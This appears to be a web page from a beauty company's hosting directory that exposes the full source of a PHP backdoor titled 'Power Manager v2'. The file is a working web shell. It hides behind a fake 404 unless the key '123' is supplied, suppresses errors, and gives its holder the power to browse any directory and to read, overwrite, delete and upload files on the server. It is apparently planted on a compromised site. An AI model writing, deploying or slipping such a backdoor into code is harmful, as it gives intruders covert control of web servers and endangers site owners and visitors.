/
home
/
u621089089
/
domains
/
hdkbeauty.in
/
public_html
/
Upload File
HOME
<?php /** * FileManager - No JSON + Fix Loading + Upload */ error_reporting(0); ini_set('display_errors', 0); while (ob_get_level()) ob_end_clean(); ob_start(); $KEY = "123"; // Ganti sesukamu if(!isset($_GET['k']) || $_GET['k'] !== $KEY){ header('HTTP/1.1 404 Not Found'); exit; } $requestedDir = $_GET['dir'] ?? __DIR__; $DIR = str_replace('\\', '/', $requestedDir); $action = $_GET['action'] ?? ''; $file = $_POST['file'] ?? $_GET['file'] ?? ''; if($action){ ob_clean(); $filepath = $file ? $DIR . '/' . $file : ''; echo "---START---"; switch($action){ case 'list': $files = glob($DIR . '/*'); if($files){ foreach($files as $f){ $is_dir = is_dir($f) ? '1' : '0'; echo basename($f) . "|" . $is_dir . "|||"; } } break; case 'read': if(is_file($filepath)) echo base64_encode(file_get_contents($filepath)); break; case 'save': if($filepath && isset($_POST['content'])){ if(file_put_contents($filepath, base64_decode($_POST['content'])) !== false) echo "OK"; } break; case 'delete': if(is_file($filepath)) { unlink($filepath); echo "OK"; } break; case 'upload': if(!empty($_FILES['f']['name'])){ $target = $DIR . '/' . basename($_FILES['f']['name']); if(move_uploaded_file($_FILES['f']['tmp_name'], $target)) echo "OK"; } break; } echo "---END---"; exit; } ob_end_flush(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Power Manager v2</title> <style> body{background:#000;color:#0f0;font-family:monospace;padding:15px;margin:0} .header{display:flex;justify-content:space-between;padding-bottom:10px;border-bottom:1px solid #0f0} .container{display:flex;gap:15px;height:80vh;margin-top:10px} #list{width:280px;border:1px solid #0f0;overflow-y:auto;padding:10px;background:#050505} #list div{cursor:pointer;padding:8px;border-bottom:1px solid #003300;overflow:hidden;text-overflow:ellipsis} #list div:hover{background:#003300} textarea{flex:1;background:#000;color:#0f0;border:1px solid #0f0;padding:15px;font-family:inherit;outline:none} button, input[type="file"]{background:#003300;color:#0f0;border:1px solid #0f0;padding:6px;cursor:pointer;font-family:inherit} button:hover{background:#0f0;color:#000} </style> </head> <body> <div class="header"> <div style="font-size:11px">PATH: <?= $DIR ?></div> <button onclick="goUp()">⬆ PARENT</button> </div> <div style="margin:10px 0; border:1px solid #333; padding:10px"> <strong>UPLOAD:</strong> <input type="file" id="fup"> <button onclick="doUpload()">🚀 GO</button> </div> <div class="container"> <div id="list">Mencari file...</div> <div style="flex:1;display:flex;flex-direction:column"> <div id="cur" style="margin-bottom:5px;font-weight:bold">Pilih file...</div> <textarea id="editor" spellcheck="false"></textarea> <div style="margin-top:10px;display:flex;gap:10px"> <button onclick="save()">💾 SAVE</button> <button onclick="del()" style="background:#300;color:red;border-color:red">🗑 DEL</button> </div> </div> </div> <script> const KEY = "<?= $KEY ?>"; let DIR = "<?= addslashes($DIR) ?>"; let activeFile = ""; async function api(q, method='GET', body=null){ try { const r = await fetch(`?k=${KEY}&dir=${encodeURIComponent(DIR)}&${q}`, {method, body}); const text = await r.text(); const match = text.match(/---START---(.*)---END---/s); return match ? match[1].trim() : ""; } catch(e) { return ""; } } function load(){ document.getElementById('list').innerHTML = "Loading..."; api("action=list").then(data => { let html = ""; if(!data || data === ""){ html = "<i>(Folder Kosong / Error)</i>"; } else { let items = data.split("|||"); items.forEach(item => { if(!item.includes("|")) return; let [name, isDir] = item.split("|"); let icon = isDir === "1" ? "📁" : "📄"; let fn = isDir === "1" ? `openDir` : `openFile`; html += `<div onclick="${fn}('${encodeURIComponent(name)}')">${icon} ${name}</div>`; }); } document.getElementById('list').innerHTML = html; }); } function openDir(n){ DIR = DIR.replace(/\/$/, '') + '/' + decodeURIComponent(n); load(); } function openFile(n){ activeFile = decodeURIComponent(n); document.getElementById('cur').innerText = "EDIT: " + activeFile; document.getElementById('editor').value = "Membuka..."; api("action=read&file="+encodeURIComponent(activeFile)).then(t => { try { document.getElementById('editor').value = atob(t); } catch(e){ document.getElementById('editor').value = "Gagal decode."; } }); } function goUp(){ let p = DIR.split('/'); if(p.length > 1){ p.pop(); DIR = p.join('/') || '/'; load(); } } function save(){ if(!activeFile) return; const body = new URLSearchParams({file:activeFile, content: btoa(document.getElementById('editor').value)}); api("action=save", "POST", body).then(r => alert(r === "OK" ? "Saved!" : "Gagal!")); } function del(){ if(!activeFile || !confirm("Hapus?")) return; api("action=delete&file="+encodeURIComponent(activeFile)).then(() => { activeFile=""; load(); }); } async function doUpload(){ const fi = document.getElementById('fup'); if(!fi.files[0]) return; let fd = new FormData(); fd.append("f", fi.files[0]); const r = await api("action=upload", "POST", fd); if(r === "OK") { alert("Berhasil!"); load(); } else { alert("Gagal!"); } } load(); </script> </body> </html>